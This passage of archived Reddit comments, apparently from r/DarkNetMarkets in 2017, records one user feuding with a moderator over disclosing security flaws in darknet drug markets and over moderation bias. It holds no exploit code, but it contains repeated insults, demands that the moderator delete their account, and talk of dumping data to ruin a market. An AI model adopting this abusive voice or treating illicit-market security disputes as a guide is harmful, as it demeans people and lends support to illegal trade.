2243 "author_flair_css_class": null,
2244 "author_flair_text": null,
2245 "body": "There are plenty of subreddits where mods don't flair and sticky their own opinions\n\nI actually struggle to think of any subs where that is allowed to happen",
2246 "created_utc": 1501783193,
2247 "id": "dl4bgum",
2248 "link_id": "t3_6rcwiv",
2249 "parent_id": "t1_dl4bf1b",
2250 "retrieved_on": 1501783194,
2251 "score": 1,
2252 "stickied": false,
2253 "subreddit": "DarkNetMarkets",
2254 "subreddit_id": "t5_2yt0h"
2255 },
2256 {
2257 "author": "t0mcheck",
2258 "author_flair_css_class": null,
2259 "author_flair_text": null,
2260 "body": "This sub has already been subverted - it probably always will be ",
2261 "created_utc": 1501783099,
2262 "id": "dl4bdix",
2263 "link_id": "t3_6rdsym",
2264 "parent_id": "t1_dl4b4zb",
2265 "retrieved_on": 1501783100,
2266 "score": 1,
2267 "stickied": false,
2268 "subreddit": "DarkNetMarkets",
2269 "subreddit_id": "t5_2yt0h"
2270 },
2271 {
2272 "author": "t0mcheck",
2273 "author_flair_css_class": null,
2274 "author_flair_text": null,
2275 "body": "The better idea would be that mods are just anon accounts that don't post content. Nothing gets flaired, nothing gets stickied - they just remove spam comments and links and you don't hear from them.\n\nThe largest flaw with the mod structure is the appeal to authority. It makes it terribly vulnerable to influence operations and corruption. \n\nYou can have a misinformed mod sticky and flair a post of his or her own that is wrong at the top of the sub while an actual expert is buried on 3 points and is actually saying something important. It's also to easy to favor (even if it is subtle) one market over another - in a business that is now worth hundreds of millions a year.\n\nEveryone should be on an equal playing field in terms of allowing their content to speak for itself. Users here should be free to build their own rep as regular users. \n\n",
2276 "created_utc": 1501783017,
2277 "id": "dl4ban3",
2278 "link_id": "t3_6rcwiv",
2279 "parent_id": "t1_dl4ayo7",
2280 "retrieved_on": 1501783019,
2281 "score": 1,
2282 "stickied": false,
2283 "subreddit": "DarkNetMarkets",
2284 "subreddit_id": "t5_2yt0h"
2285 },
2286 {
2287 "author": "t0mcheck",
2288 "author_flair_css_class": null,
2289 "author_flair_text": null,
2290 "body": "what are you claiming then?",
2291 "created_utc": 1501782631,
2292 "id": "dl4awnt",
2293 "link_id": "t3_6rdsym",
2294 "parent_id": "t1_dl4arh7",
2295 "retrieved_on": 1501782632,
2296 "score": 1,
2297 "stickied": false,
2298 "subreddit": "DarkNetMarkets",
2299 "subreddit_id": "t5_2yt0h"
2300 },
2301 {
2302 "author": "t0mcheck",
2303 "author_flair_css_class": null,
2304 "author_flair_text": null,
2305 "body": "Just to make it clear - I have no interest in becoming a mod here and would outright refuse it if offered. \n\nMy proposition is simply that wombat2combat be removed and replaced by one or more level-headed, rational and objective people similar to pinochetHA and how he handled the situation yesterday\n\nI don't know this community well enough to suggest anybody",
2306 "created_utc": 1501782517,
2307 "id": "dl4asla",
2308 "link_id": "t3_6rcwiv",
2309 "parent_id": "t1_dl44kth",
2310 "retrieved_on": 1501782518,
2311 "score": 1,
2312 "stickied": false,
2313 "subreddit": "DarkNetMarkets",
2314 "subreddit_id": "t5_2yt0h"
2315 },
2316 {
2317 "author": "t0mcheck",
2318 "author_flair_css_class": null,
2319 "author_flair_text": null,
2320 "body": "have no interest in becoming a mod. I just want the mods to stop attacking us.",
2321 "created_utc": 1501782344,
2322 "id": "dl4ameu",
2323 "link_id": "t3_6rdsym",
2324 "parent_id": "t1_dl49yg7",
2325 "retrieved_on": 1501782345,
2326 "score": 1,
2327 "stickied": false,
2328 "subreddit": "DarkNetMarkets",
2329 "subreddit_id": "t5_2yt0h"
2330 },
2331 {
2332 "author": "t0mcheck",
2333 "author_flair_css_class": null,
2334 "author_flair_text": null,
2335 "body": "(sorry automod here removed btc addresses - split over two lines)\n\nreally not expecting anything or even any bounties from sites but appreciate all the messages\n\n15cKpb8ZwykemEU\n\nz3AXmmcEqZ8L4bmgt3u\n\n\n[qr code + addr](http://image.ibb.co/gyJJwa/btcaddress.png)",
2336 "created_utc": 1501782122,
2337 "id": "dl4aehu",
2338 "link_id": "t3_6rcwiv",
2339 "parent_id": "t1_dl43u4c",
2340 "retrieved_on": 1501782123,
2341 "score": 1,
2342 "stickied": false,
2343 "subreddit": "DarkNetMarkets",
2344 "subreddit_id": "t5_2yt0h"
2345 },
2346 {
2347 "author": "t0mcheck",
2348 "author_flair_css_class": null,
2349 "author_flair_text": null,
2350 "body": "Messaged admins 48 hours ago. They ignored us, denied the problems and called us clowns.\n\nThere is no real perfect solution here and every approach is flawed - but there have been too many stories recently of researchers being burned on reporting to sites (DHL being one of them - not just 5 weeks ago)\n\nIf a site wants reports made properly they'd setup a security contact, they wouldn't deny bugs and would work to verify them and they wouldn't then burn reports\n\nWe can probably fix how this works and i'd be curious to hear what everyone else thinks - might fire up a thread about it later and set out exactly what all the pros and cons are",
2351 "created_utc": 1501781819,
2352 "id": "dl4a3ur",
2353 "link_id": "t3_6rcwiv",
2354 "parent_id": "t1_dl498kv",
2355 "retrieved_on": 1501781820,
2356 "score": 1,
2357 "stickied": false,
2358 "subreddit": "DarkNetMarkets",
2359 "subreddit_id": "t5_2yt0h"
2360 },
2361 {
2362 "author": "t0mcheck",
2363 "author_flair_css_class": null,
2364 "author_flair_text": null,
2365 "body": "I dare you to deny this one or slow roll us again.",
2366 "created_utc": 1501780949,
2367 "id": "dl498qo",
2368 "link_id": "t3_6rcwiv",
2369 "parent_id": "t1_dl46r93",
2370 "retrieved_on": 1501780950,
2371 "score": 1,
2372 "stickied": false,
2373 "subreddit": "DarkNetMarkets",
2374 "subreddit_id": "t5_2yt0h"
2375 },
2376 {
2377 "author": "t0mcheck",
2378 "author_flair_css_class": null,
2379 "author_flair_text": null,
2380 "body": "how about you've lost all right to set the terms of what I do and you can stfu ",
2381 "created_utc": 1501780515,
2382 "id": "dl48t9j",
2383 "link_id": "t3_6rcwiv",
2384 "parent_id": "t1_dl46z9v",
2385 "retrieved_on": 1501780517,
2386 "score": 1,
2387 "stickied": false,
2388 "subreddit": "DarkNetMarkets",
2389 "subreddit_id": "t5_2yt0h"
2390 },
2391 {
2392 "author": "t0mcheck",
2393 "author_flair_css_class": null,
2394 "author_flair_text": null,
2395 "body": "Should clarify this - no longer making them *all of them* public *as we find them* \n\nThe last few days have been a mess - need a way to cover our asses without sinking another 30+ hours into pointless arguments. There are ways to do this without endangering users ",
2396 "created_utc": 1501780324,
2397 "id": "dl48mit",
2398 "link_id": "t3_6rcwiv",
2399 "parent_id": "t1_dl44o6i",
2400 "retrieved_on": 1501780325,
2401 "score": 1,
2402 "stickied": false,
2403 "subreddit": "DarkNetMarkets",
2404 "subreddit_id": "t5_2yt0h"
2405 },
2406 {
2407 "author": "t0mcheck",
2408 "author_flair_css_class": null,
2409 "author_flair_text": null,
2410 "body": "> now they hate me for not believing the claim that the two servers are the same [tomcheck still has not provided proof that the time that the two servers use is the same down to the millisecond, which would be proof]. plus that I do not put up warnings on the superlist based on an unverified message leak posted by a 20 day old account.\n\nIf this is how you summarize your actions from the past few days and weeks then its little wonder why you refuse to step down.\n\nYou didn't just \"not believe\" the DHL claim - you removed the post, banned the user and posted a sticky that it was fake. This is *after* I warned you that your methodology was flawed. I had no interest in the IP leak post yet verified it independently - you just refused to believe it and the 140 comments on that thread are all you being painted into a corner and fighting back against everyone like a lost Japanese soldier on a Philippine island 40 years after the war was over. \n\nWhen I posted Sourcery vulnerabilities and DHL vulnerabilities you stickied the Sourcey thread but not the DHL thread. \n\nYou added Sourcery as a warning to the superlist and not DHL even tho both posts were up at the time\n\nSince then i've had numerous security researchers tell me in private messages that this is nothing unusual for this sub and they don't bother reporting issues any more \n\nThis wasn't fixed for hours until I threatened to delete all my content and then another mod fixed it (not you)\n\nIt required a separate mod yesterday to fix your fuck up where you had \"DHL is fake news\" stickied across the top of this sub. He made the post that you should have made when you removed the report, banned the user and stickied a rebuttal. \n\nThe amount of bugs from different people i've been sent in the past 2-3 days by people who don't want to deal with the shit on this sub is *astounding* and an embarrassment to this sub - it's the clearest indication yet that you've created an environment here that isn't friendly to those who want to report issues against markets or technologies that you favor. \n\nYou posted a new set of tech guidelines for the superlist seemingly on your own. When you asked for feedback [I pointed out that a long requirement for multisig is a flaw requirement](https://pay.reddit.com/r/DNMSuperlist/comments/6oaqib/removed_alphabay_and_new_market_listing_criteria/dkgrjsz/) since it is possible to implement multisig in an insecure way. **I said this before Hansa happen and Hansa proved me correct only days later yet you ignored this feedback** \n\nI also pointed out [other flaws in your superlist requirements](https://pay.reddit.com/r/DNMSuperlist/comments/6oaqib/removed_alphabay_and_new_market_listing_criteria/dkgta3t/) and said the process needs to be opened up to the community and not directed from the top down by a single persom because as designed it would **drive people to insecure markets**\n\nYou already know that the whole reason why I started popping sites on here was only to **prove to you how flawed your superlist model was** with the signaling it sends. \n\nWhen your favorite site implementing your much loved tech was taken down you stickied [a post blaming everyone but yourself and your silly multisig rule](https://pay.reddit.com/r/DarkNetMarkets/comments/6oy4f5/a_public_service_announcement_from_the_mods/)\n\nI said then that the habit of mods flairing up their own opinions at the top of the sub [needs to stop because it is wrong and flawed](https://pay.reddit.com/r/DarkNetMarkets/comments/6oy4f5/a_public_service_announcement_from_the_mods/dkla3e0/):\n\n> seriously the mod content needs to stop. 6 days ago the new superlist rules were posted and it was horrible. it was pointed out at the time in the thread by actual security ppl that the rules were dumb rules like 'market must use multisig' is what lead people to switch to hansa\n\nLook at the inconsistancy with the requirements you set out for proving security. For DHL you need millisecond verification of an issue whose technicalities you don't understand and you post a mod thread calling it fake - **yet the actual disproven FUD thread about the Dream IP address remained stickied on this site**\n\nAgain this was [pointed out to you previously](https://pay.reddit.com/r/DarkNetMarkets/comments/6oy4f5/a_public_service_announcement_from_the_mods/dkl9li5/):\n\n> look at how much FUD has floated to the top of this sub since the hacks - almost all of it unfounded (the dream IP address, the tor 'attack', the hansa takeover producing ip addresses)\n\n> also look at the shift to appeal to authority in this sub. faaaaar to much content posted and marked by mods being treated as gospel - a lot of it horribly wrong.\n\n> mod appeal to authority here is what got people preaching about how awesome and great Hansa is\n\nYou're not consistent. It is apparent to everyone here. You arbitarily make up the rules based on your favorite tech and sub and the mod ability you have to flair and sticky your own posts and opinions has meant that a lot of legitimate experts have fled this sub to never come back since they're drown out\n\nBut sure - insist that this is all about some millisecond time stamp issue and not about your actions\n\nps. delete ur account",
2411 "created_utc": 1501779756,
2412 "id": "dl482ne",
2413 "link_id": "t3_6rcwiv",
2414 "parent_id": "t1_dl469qj",
2415 "retrieved_on": 1501779757,
2416 "score": 1,
2417 "stickied": false,
2418 "subreddit": "DarkNetMarkets",
2419 "subreddit_id": "t5_2yt0h"
2420 },
2421 {
2422 "author": "t0mcheck",
2423 "author_flair_css_class": null,
2424 "author_flair_text": null,
2425 "body": "shilling for them without being paid is just worse ",
2426 "created_utc": 1501778321,
2427 "id": "dl46nqx",
2428 "link_id": "t3_6rcwiv",
2429 "parent_id": "t1_dl45ixj",
2430 "retrieved_on": 1501778322,
2431 "score": 1,
2432 "stickied": false,
2433 "subreddit": "DarkNetMarkets",
2434 "subreddit_id": "t5_2yt0h"
2435 },
2436 {
2437 "author": "t0mcheck",
2438 "author_flair_css_class": null,
2439 "author_flair_text": null,
2440 "body": "nobody gives a shit what you think. this is warning enough\n\ndelete ur account.",
2441 "created_utc": 1501778203,
2442 "id": "dl46jnr",
2443 "link_id": "t3_6rcwiv",
2444 "parent_id": "t1_dl43x2n",
2445 "retrieved_on": 1501778204,
2446 "score": 1,
2447 "stickied": false,
2448 "subreddit": "DarkNetMarkets",
2449 "subreddit_id": "t5_2yt0h"
2450 },
2451 {
2452 "author": "t0mcheck",
2453 "author_flair_css_class": null,
2454 "author_flair_text": null,
2455 "body": "You posted that it is fake. It wasn't. I even warned you before you posted that you were wrong.\n\nYou endangered users and this isn't the first time and you're credibility as an independent arbiter is in question - you need to step down\n\nWhile you're a mod nobody is going to report any security issues via the mods",
2456 "created_utc": 1501777988,
2457 "id": "dl46c5e",
2458 "link_id": "t3_6r5o1s",
2459 "parent_id": "t1_dl44nf6",
2460 "retrieved_on": 1501777989,
2461 "score": 1,
2462 "stickied": false,
2463 "subreddit": "DarkNetMarkets",
2464 "subreddit_id": "t5_2yt0h"
2465 },
2466 {
2467 "author": "t0mcheck",
2468 "author_flair_css_class": null,
2469 "author_flair_text": null,
2470 "body": "yet.",
2471 "created_utc": 1501775392,
2472 "id": "dl43tp5",
2473 "link_id": "t3_6rcwiv",
2474 "parent_id": "t1_dl43nsn",
2475 "retrieved_on": 1501775393,
2476 "score": 1,
2477 "stickied": false,
2478 "subreddit": "DarkNetMarkets",
2479 "subreddit_id": "t5_2yt0h"
2480 },
2481 {
2482 "author": "t0mcheck",
2483 "author_flair_css_class": null,
2484 "author_flair_text": null,
2485 "body": "A simple market well implemented and administered is worth a hundred times more than a poorly implemented market with all the features in the world.\n\nThis is the core problem with the SuperList and the technical guidelines for it - you would much prefer a simple centralized escrow site run by professionals than a multisig, monero and whatever else feature market implemented poorly\n\nI've said this repeatably - security isn't a list of features you just check off.",
2486 "created_utc": 1501775069,
2487 "id": "dl43ief",
2488 "link_id": "t3_6rcwiv",
2489 "parent_id": "t1_dl439w9",
2490 "retrieved_on": 1501775070,
2491 "score": 1,
2492 "stickied": false,
2493 "subreddit": "DarkNetMarkets",
2494 "subreddit_id": "t5_2yt0h"
2495 },
2496 {
2497 "author": "t0mcheck",
2498 "author_flair_css_class": null,
2499 "author_flair_text": null,
2500 "body": "nope just know more than you do about how shitty their app is.",
2501 "created_utc": 1501770717,
2502 "id": "dl3zf9y",
2503 "link_id": "t3_6ra0kg",
2504 "parent_id": "t1_dl3wsl8",
2505 "retrieved_on": 1501770719,
2506 "score": 1,
2507 "stickied": false,
2508 "subreddit": "DarkNetMarkets",
2509 "subreddit_id": "t5_2yt0h"
2510 },
2511 {
2512 "author": "t0mcheck",
2513 "author_flair_css_class": null,
2514 "author_flair_text": null,
2515 "body": "time to blacklist them and officially notify everyone here to bail on DHL",
2516 "created_utc": 1501765893,
2517 "id": "dl3vh0b",
2518 "link_id": "t3_6ra0kg",
2519 "parent_id": "t1_dl3rilf",
2520 "retrieved_on": 1501765894,
2521 "score": 1,
2522 "stickied": false,
2523 "subreddit": "DarkNetMarkets",
2524 "subreddit_id": "t5_2yt0h"
2525 },
2526 {
2527 "author": "t0mcheck",
2528 "author_flair_css_class": null,
2529 "author_flair_text": null,
2530 "body": "Good stuff dude. DHL have absolutely no validation or verification on any fields - yet they insist on blowing smoke up our asses (with an assist from some mods here) that there are no issues\n\nSee our prev thread:\n\nhttps://www.reddit.com/r/DarkNetMarkets/comments/6qxd1o/dhl_market_security_vulnerabilities/\n\nJoin us - we're sitting on a bunch of new DHL stuff waiting for them to reply formally and deny they have issues.",
2531 "created_utc": 1501763759,
2532 "id": "dl3u0qs",
2533 "link_id": "t3_6rbrgh",
2534 "parent_id": "t3_6rbrgh",
2535 "retrieved_on": 1501763760,
2536 "score": 1,
2537 "stickied": false,
2538 "subreddit": "DarkNetMarkets",
2539 "subreddit_id": "t5_2yt0h"
2540 },
2541 {
2542 "author": "t0mcheck",
2543 "author_flair_css_class": null,
2544 "author_flair_text": null,
2545 "body": "So when are you stepping down and deleting ur account?",
2546 "created_utc": 1501749429,
2547 "id": "dl3npa4",
2548 "link_id": "t3_6r5o1s",
2549 "parent_id": "t1_dl3m5o5",
2550 "retrieved_on": 1501749430,
2551 "score": 1,
2552 "stickied": false,
2553 "subreddit": "DarkNetMarkets",
2554 "subreddit_id": "t5_2yt0h"
2555 },
2556 {
2557 "author": "t0mcheck",
2558 "author_flair_css_class": null,
2559 "author_flair_text": null,
2560 "body": "you must not read the sub you're a mod of",
2561 "created_utc": 1501749390,
2562 "id": "dl3norb",
2563 "link_id": "t3_6r5o1s",
2564 "parent_id": "t1_dl3m5o5",
2565 "retrieved_on": 1501749391,
2566 "score": 1,
2567 "stickied": false,
2568 "subreddit": "DarkNetMarkets",
2569 "subreddit_id": "t5_2yt0h"
2570 },
2571 {
2572 "author": "t0mcheck",
2573 "author_flair_css_class": null,
2574 "author_flair_text": null,
2575 "body": "Just to be clear before I say this - i'm super average in terms of surface infosec.\n\nI'll tell you exactly what happen - when the Alpha news broke heaps of actual infosec people flooded into this sub. I know because it was shared on Twitter and that is where I followed it in. I've been here before but mostly lurking\n\nAnyway you have a bunch of actual experts take a look around and see all this shoddy practice, go back to Twitter and laugh about it. Meanwhile me and a couple of others stuck around to actually help out.\n\nI point out all the errors in what the mods are doing - they get defensive about it. They're no longer the big fish in the little pond and their authority is being questioned.\n\nIt's weird because I don't think I intentionally provoked that - up until even a few hours ago wombat kept repeating \"i'm not the expert here\" and would defer to others - but for some reason now he has decided to attempt to play an expert on the internet and challenge me on absolutely everything and it is based on nothing.\n\nIMO this sub should be welcoming to people from the outside - not antagonistic towards them because some mod had his feelings hurt. ",
2576 "created_utc": 1501725568,
2577 "id": "dl3afts",
2578 "link_id": "t3_6r5o1s",
2579 "parent_id": "t1_dl39fe4",
2580 "retrieved_on": 1501725569,
2581 "score": 1,
2582 "stickied": false,
2583 "subreddit": "DarkNetMarkets",
2584 "subreddit_id": "t5_2yt0h"
2585 },
2586 {
2587 "author": "t0mcheck",
2588 "author_flair_css_class": null,
2589 "author_flair_text": null,
2590 "body": "The context is i've pointed out 50+ errors he has made over two weeks. I finally thought he had hit on something that I made an error on and tried to point it out.\n\nIt was obvious that he doesn't actually undestand these issues that he just Googles whatever hit will at least *mildly* go against what i'm saying and support his view\n\nHe said I was wrong about FDE and linked me to a stack overflow answer with 0 points that was completely unrelated.\n\nAt that point I could have argued it out and explained to him more thoroughly what I meant and why he misunderstood but I just let it go.\n\nTo see it pop up again here is pretty funny tho - but i've spent way too much time over the past 48 hours genuinely trying to help wombat2combat understand things but at this point he has a personal antagonism against me which is going to be impossible to let go of \n\n(i'll just point out that he has copy + pasted that same reply about me 4 times in this single thread - i'd like to see a non-mod attempt to spam a thread like that)",
2591 "created_utc": 1501723268,
2592 "id": "dl38nmz",
2593 "link_id": "t3_6r5o1s",
2594 "parent_id": "t1_dl2xbk0",
2595 "retrieved_on": 1501723269,
2596 "score": 1,
2597 "stickied": false,
2598 "subreddit": "DarkNetMarkets",
2599 "subreddit_id": "t5_2yt0h"
2600 },
2601 {
2602 "author": "t0mcheck",
2603 "author_flair_css_class": null,
2604 "author_flair_text": null,
2605 "body": "> reddit dramas \n\n*sigh*",
2606 "created_utc": 1501722812,
2607 "id": "dl38amf",
2608 "link_id": "t3_6r7g5s",
2609 "parent_id": "t1_dl31a8b",
2610 "retrieved_on": 1501722812,
2611 "score": 1,
2612 "stickied": false,
2613 "subreddit": "DarkNetMarkets",
2614 "subreddit_id": "t5_2yt0h"
2615 },
2616 {
2617 "author": "t0mcheck",
2618 "author_flair_css_class": null,
2619 "author_flair_text": null,
2620 "body": "btw if you have a legit interest in DNM security hit me up - i'll be setting up a proper group somewhere ",
2621 "created_utc": 1501722555,
2622 "id": "dl3839f",
2623 "link_id": "t3_6r7g5s",
2624 "parent_id": "t1_dl3826d",
2625 "retrieved_on": 1501722555,
2626 "score": 1,
2627 "stickied": false,
2628 "subreddit": "DarkNetMarkets",
2629 "subreddit_id": "t5_2yt0h"
2630 },
2631 {
2632 "author": "t0mcheck",
2633 "author_flair_css_class": null,
2634 "author_flair_text": null,
2635 "body": "I got heaps of messages after the last few posts, especially from security ppl - ended up setting up a mini-group of ppl looking into security of sites while lamenting about the shitty state of this sub.\n\nI don't want to take credit for most of what was discovered after my original posts since most of it was said to me or sent to me.",
2636 "created_utc": 1501722518,
2637 "id": "dl3826d",
2638 "link_id": "t3_6r7g5s",
2639 "parent_id": "t1_dl2yicr",
2640 "retrieved_on": 1501722519,
2641 "score": 1,
2642 "stickied": false,
2643 "subreddit": "DarkNetMarkets",
2644 "subreddit_id": "t5_2yt0h"
2645 },
2646 {
2647 "author": "t0mcheck",
2648 "author_flair_css_class": null,
2649 "author_flair_text": null,
2650 "body": "yes",
2651 "created_utc": 1501721884,
2652 "id": "dl37k1v",
2653 "link_id": "t3_6r1yh1",
2654 "parent_id": "t1_dl34stz",
2655 "retrieved_on": 1501721885,
2656 "score": 1,
2657 "stickied": false,
2658 "subreddit": "DarkNetMarkets",
2659 "subreddit_id": "t5_2yt0h"
2660 },
2661 {
2662 "author": "t0mcheck",
2663 "author_flair_css_class": null,
2664 "author_flair_text": null,
2665 "body": "it was a developer instance - the live instance was on another folder on the same server ",
2666 "created_utc": 1501721500,
2667 "id": "dl3790c",
2668 "link_id": "t3_6r7g5s",
2669 "parent_id": "t1_dl2yr28",
2670 "retrieved_on": 1501721501,
2671 "score": 1,
2672 "stickied": false,
2673 "subreddit": "DarkNetMarkets",
2674 "subreddit_id": "t5_2yt0h"
2675 },
2676 {
2677 "author": "t0mcheck",
2678 "author_flair_css_class": null,
2679 "author_flair_text": null,
2680 "body": "They firewalled all the open ports on that live host. The onion then went down.\n\nWe sat there and watched it all happen because we were expecting it\n\nNext step is either onion comes back up for good alone, admin comes in here and pretends it was all a nothingburger with the support of certain mods\n\nOr the admin just sees the task ahead of him as being too tall and packs up all the BTC and BCC and quits now.\n\nI'm leaning towards the later atm",
2681 "created_utc": 1501709777,
2682 "id": "dl2wsc6",
2683 "link_id": "t3_6r7g5s",
2684 "parent_id": "t1_dl2wgf5",
2685 "retrieved_on": 1501712625,
2686 "score": 1,
2687 "stickied": false,
2688 "subreddit": "DarkNetMarkets",
2689 "subreddit_id": "t5_2yt0h"
2690 },
2691 {
2692 "author": "t0mcheck",
2693 "author_flair_css_class": null,
2694 "author_flair_text": null,
2695 "body": "Whoever is emulating the DHL market clearnet mirror is *really fucking good*",
2696 "created_utc": 1501709362,
2697 "id": "dl2weh0",
2698 "link_id": "t3_6r7g5s",
2699 "parent_id": "t1_dl2w9yx",
2700 "retrieved_on": 1501712338,
2701 "score": 1,
2702 "stickied": false,
2703 "subreddit": "DarkNetMarkets",
2704 "subreddit_id": "t5_2yt0h"
2705 },
2706 {
2707 "author": "t0mcheck",
2708 "author_flair_css_class": null,
2709 "author_flair_text": null,
2710 "body": "lol *smh*",
2711 "created_utc": 1501709251,
2712 "id": "dl2waoy",
2713 "link_id": "t3_6r5o1s",
2714 "parent_id": "t1_dl2w2vh",
2715 "retrieved_on": 1501712259,
2716 "score": 1,
2717 "stickied": false,
2718 "subreddit": "DarkNetMarkets",
2719 "subreddit_id": "t5_2yt0h"
2720 },
2721 {
2722 "author": "t0mcheck",
2723 "author_flair_css_class": null,
2724 "author_flair_text": null,
2725 "body": "> that the servers are the same is still not proven.\n\nnot proven *to you* - and on the scale of how important that is to anyone who matters right now its less than a 0 out of 100\n\nall the info you needed to make a determination was within the replies I sent you - but you chose not to see it because you couldn't let go of a personal grudge\n\nThere need to be a lot of recriminations with what is about to happen- and it needs to start right with you",
2726 "created_utc": 1501708747,
2727 "id": "dl2vtv6",
2728 "link_id": "t3_6r5o1s",
2729 "parent_id": "t1_dl2vkri",
2730 "retrieved_on": 1501711909,
2731 "score": 1,
2732 "stickied": false,
2733 "subreddit": "DarkNetMarkets",
2734 "subreddit_id": "t5_2yt0h"
2735 },
2736 {
2737 "author": "t0mcheck",
2738 "author_flair_css_class": null,
2739 "author_flair_text": null,
2740 "body": "> that the servers are the same is still not proven.\n\nnot proven *to you* - and on the scale of how important that is to anyone who matters right now its less than a 0 out of 100\n\nall the info you needed to make a determination was within the replies I sent you - but you chose not to see it because you couldn't let go of a personal grudge\n\nThere need to be a lot of recriminations with what is about to happen- and it needs to start right with you",
2741 "created_utc": 1501708719,
2742 "id": "dl2vsya",
2743 "link_id": "t3_6r5o1s",
2744 "parent_id": "t1_dl2vkri",
2745 "retrieved_on": 1501711890,
2746 "score": 1,
2747 "stickied": false,
2748 "subreddit": "DarkNetMarkets",
2749 "subreddit_id": "t5_2yt0h"
2750 },
2751 {
2752 "author": "t0mcheck",
2753 "author_flair_css_class": null,
2754 "author_flair_text": null,
2755 "body": "Must admit it is much more entertaining watching you spin around in circles and attempt to justify this.\n\nAs you know I saw before to prove I was right i'd only need to wait.\n\nWell, shit is about to go down. If you don't believe me I can tell to almost to the exact second when it will.",
2756 "created_utc": 1501708144,
2757 "id": "dl2v9f4",
2758 "link_id": "t3_6r5o1s",
2759 "parent_id": "t1_dl2u6pr",
2760 "retrieved_on": 1501711410,
2761 "score": 1,
2762 "stickied": false,
2763 "subreddit": "DarkNetMarkets",
2764 "subreddit_id": "t5_2yt0h"
2765 },
2766 {
2767 "author": "t0mcheck",
2768 "author_flair_css_class": null,
2769 "author_flair_text": null,
2770 "body": "Having someone not in infosec and clueless about it teach back to you what is a serious issue or not is pretty fucking exhausting after the 25th time it happens\n\nNot having a security contact is a serious issue - in this case it has likely cost DHL their long term viability as a going concern since I had no way to contact them and then multiple other people who saw my experience decided to just dump data that would destroy them. \n\nIf you don't believe me post that shit on infosec twitter and watch how quickly you get ripped a new asshole ",
2771 "created_utc": 1501706736,
2772 "id": "dl2tvrm",
2773 "link_id": "t3_6r2ppi",
2774 "parent_id": "t1_dl2tluj",
2775 "retrieved_on": 1501710322,
2776 "score": 1,
2777 "stickied": false,
2778 "subreddit": "DarkNetMarkets",
2779 "subreddit_id": "t5_2yt0h"
2780 },
2781 {
2782 "author": "t0mcheck",
2783 "author_flair_css_class": null,
2784 "author_flair_text": null,
2785 "body": "errr thats the wrong order. it comes first.\n\nstill missing a lot of other context but meh idgaf at this point",
2786 "created_utc": 1501706153,
2787 "id": "dl2taya",
2788 "link_id": "t3_6r5o1s",
2789 "parent_id": "t1_dl2sgq0",
2790 "retrieved_on": 1501709877,
2791 "score": 1,
2792 "stickied": false,
2793 "subreddit": "DarkNetMarkets",
2794 "subreddit_id": "t5_2yt0h"
2795 },
2796 {
2797 "author": "t0mcheck",
2798 "author_flair_css_class": null,
2799 "author_flair_text": null,
2800 "body": "> Currently I see mods trying to verify and get to the bottom of a somewhat confusing situation on DHLs part, it wouldn't have been so bad if you talked to them first and didn't act like an entitled child. You'll attract a whole lot more flies with honey.\n\nI don't know how many times I can say this - we don't need the mods as middlemen - especially after the hash they've made of that last post\n\nIts plain as day to everyone here that the mods have clear biases and there is a lot of context you're missing in terms of what is happening behind the scenes. \n\nI also add that *numerous* people have messaged me (over 30) expressing support and similar concerns. Almost every person who has reported a security issue on this sub for the past two years has messaged me.\n\nIn fact for the past few hours a lot of us have been working together and commiserating at the same time at just how awful this situation is. \n\nSo please, spare me your condescending crap when you're judging this from a position of not knowing everything. \n\n> And? Once again non-issues\n\nNo, **serious** issues. Again - leave this to the experts. Large parts of infosec consulting are about correctly setting up a company culture to accept and handle bug reports correctly.",
2801 "created_utc": 1501705876,
2802 "id": "dl2t0uq",
2803 "link_id": "t3_6r2ppi",
2804 "parent_id": "t1_dl2sggm",
2805 "retrieved_on": 1501709656,
2806 "score": 2,
2807 "stickied": false,
2808 "subreddit": "DarkNetMarkets",
2809 "subreddit_id": "t5_2yt0h"
2810 },
2811 {
2812 "author": "t0mcheck",
2813 "author_flair_css_class": null,
2814 "author_flair_text": null,
2815 "body": "Thanks I like you too ",
2816 "created_utc": 1501705517,
2817 "id": "dl2so0m",
2818 "link_id": "t3_6r5o1s",
2819 "parent_id": "t1_dl2s8bk",
2820 "retrieved_on": 1501709363,
2821 "score": 2,
2822 "stickied": false,
2823 "subreddit": "DarkNetMarkets",
2824 "subreddit_id": "t5_2yt0h"
2825 },
2826 {
2827 "author": "t0mcheck",
2828 "author_flair_css_class": null,
2829 "author_flair_text": null,
2830 "body": "Still just an excerpt - go further back to the point where I joined the sub and asked for approval to post.\n\nAlso include my warnings about the superlist\n\nAnyone reading this needs context - I didn't just out-of-the-blue message the mods one day asking that wombat2combat be removed - there was *a lot* before that",
2831 "created_utc": 1501705244,
2832 "id": "dl2sdzb",
2833 "link_id": "t3_6r5o1s",
2834 "parent_id": "t1_dl2ru40",
2835 "retrieved_on": 1501709153,
2836 "score": 1,
2837 "stickied": false,
2838 "subreddit": "DarkNetMarkets",
2839 "subreddit_id": "t5_2yt0h"
2840 },
2841 {
2842 "author": "t0mcheck",
2843 "author_flair_css_class": null,
2844 "author_flair_text": null,
2845 "body": "I made no insults to anybody who didn't insult me first. He's selectively quoting. I've had mods and admins pile onto me for over 24 hours now and they get pissy when I kick back.",
2846 "created_utc": 1501703567,
2847 "id": "dl2qq0u",
2848 "link_id": "t3_6r5o1s",
2849 "parent_id": "t1_dl2qis7",
2850 "retrieved_on": 1501707837,
2851 "score": 4,
2852 "stickied": false,
2853 "subreddit": "DarkNetMarkets",
2854 "subreddit_id": "t5_2yt0h"
2855 },
2856 {
2857 "author": "t0mcheck",
2858 "author_flair_css_class": null,
2859 "author_flair_text": null,
2860 "body": "Interesting battle you're picking here. Why not publish the entire modmail thread rather than selectively quoting from it?\n\nStart at the point where I warned you days before Hansa went down that you need to stop endorsing markets purely because they implement multisig\n\nDon't forget to include the part where I laid out why its possible to implement multisig and still have a market steal funds. You know, exactly what happen only 5 days later\n\nDon't forget the part where I pointed out the flaws in your superlist criteria - to only then have you fall back on them after the markets were taken down with almost no acknowledgement \n\nAnd don't forget the part where the meth head mod tries to tell me what OPSEC is by repeating \"bad OPSEC\" 3 times and then muting me\n\nAnd don't forget the part where I was muted again after reporting these vulnerabilities\n\nDon't forget the part where I pointed out the inconsistency in your modding where you flaired my post about Sourcery but didn't flair the post about DHL - which made it appear like the mods considered the Sourcery security vulns serious but the \n\nDon't forget the part where you try and pour tech dirt and doubt anything i've ever contributed to this sub including calling into question the vulnerabilities i've posted and proven\n\nDon't forget the part where I dare you to remove my posts if they're so inaccurate and unproven and you don't respond because you know i'm right and you're full of shit\n\nDon't forget the part where I point out the Sourcery has one vulnerability post and that gets stickied by you as a mod - yet there are three separate DHL security advisory posts that not only don't get stickied, and which fade away 